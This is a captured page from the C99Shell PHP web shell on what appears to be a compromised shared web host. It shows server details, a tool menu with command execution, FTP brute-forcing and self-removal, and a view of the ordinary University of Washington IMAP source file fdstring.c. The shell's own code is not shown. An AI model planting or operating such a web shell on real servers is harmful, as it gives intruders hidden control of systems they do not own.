!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux web25.us.cloudlogin.co 5.10.237-xeon-hst #1 SMP Mon May 5 15:10:04 UTC 2025 x86_64 

uid=233359(alpastrology) gid=888(tty) groups=888(tty),33(tape) 

Safe-mode: OFF (not secure)

/usr/local/imap-2007e/c-client/   drwxr-xr-x
Free 6182.14 GB of 6263.34 GB (98.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     fdstring.c (2.76 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* ========================================================================
 * Copyright 1988-2007 University of Washington
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * 
 * ========================================================================
 */

/*
 * Program:    File descriptor string routines
 *
 * Author:    Mark Crispin
 *        Networks and Distributed Computing
 *        Computing & Communications
 *        University of Washington
 *        Administration Building, AG-44
 *        Seattle, WA  98195
 *        Internet: MRC@CAC.Washington.EDU
 *
 * Date:    15 April 1997
 * Last Edited:    4 April 2007
 */

#include "mail.h"
#include "osdep.h"
#include "misc.h"
#include "fdstring.h"

/* String driver for fd stringstructs */

static void fd_string_init (STRING *s,void *data,unsigned long size);
static char fd_string_next (STRING *s);
static void fd_string_setpos (STRING *s,unsigned long i);

STRINGDRIVER fd_string = {
  fd_string_init,        /* initialize string structure */
  fd_string_next,        /* get next byte in string structure */
  fd_string_setpos        /* set position in string structure */
};


/* Initialize string structure for fd stringstruct
 * Accepts: string structure
 *        pointer to string
 *        size of string
 */

static void fd_string_init (STRING *s,void *data,unsigned long size)
{
  FDDATA *d = (FDDATA *) data;
                /* note fd */
  s->data = (void *) (unsigned long) d->fd;
  s->data1 = d->pos;        /* note file offset */
  s->size = size;        /* note size */
  s->curpos = s->chunk = d->chunk;
  s->chunksize = (unsigned long) d->chunksize;
  s->offset = 0;        /* initial position */
                /* and size of data */
  s->cursize = min (s->chunksize,size);
                /* move to that position in the file */
  lseek (d->fd,d->pos,L_SET);
  read (d->fd,s->chunk,(size_t) s->cursize);
}

/* Get next character from fd stringstruct
 * Accepts: string structure
 * Returns: character, string structure chunk refreshed
 */

static char fd_string_next (STRING *s)
{
  char c = *s->curpos++;    /* get next byte */
  SETPOS (s,GETPOS (s));    /* move to next chunk */
  return c;            /* return the byte */
}


/* Set string pointer position for fd stringstruct
 * Accepts: string structure
 *        new position
 */

static void fd_string_setpos (STRING *s,unsigned long i)
{
  if (i > s->size) i = s->size;    /* don't permit setting beyond EOF */
  s->offset = i;        /* set new offset */
  s->curpos = s->chunk;        /* reset position */
                /* set size of data */
  if (s->cursize = min (s->chunksize,SIZE (s))) {
                /* move to that position in the file */
    lseek ((long) s->data,s->data1 + s->offset,L_SET);
    read ((long) s->data,s->curpos,(size_t) s->cursize);
  }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0339 ]--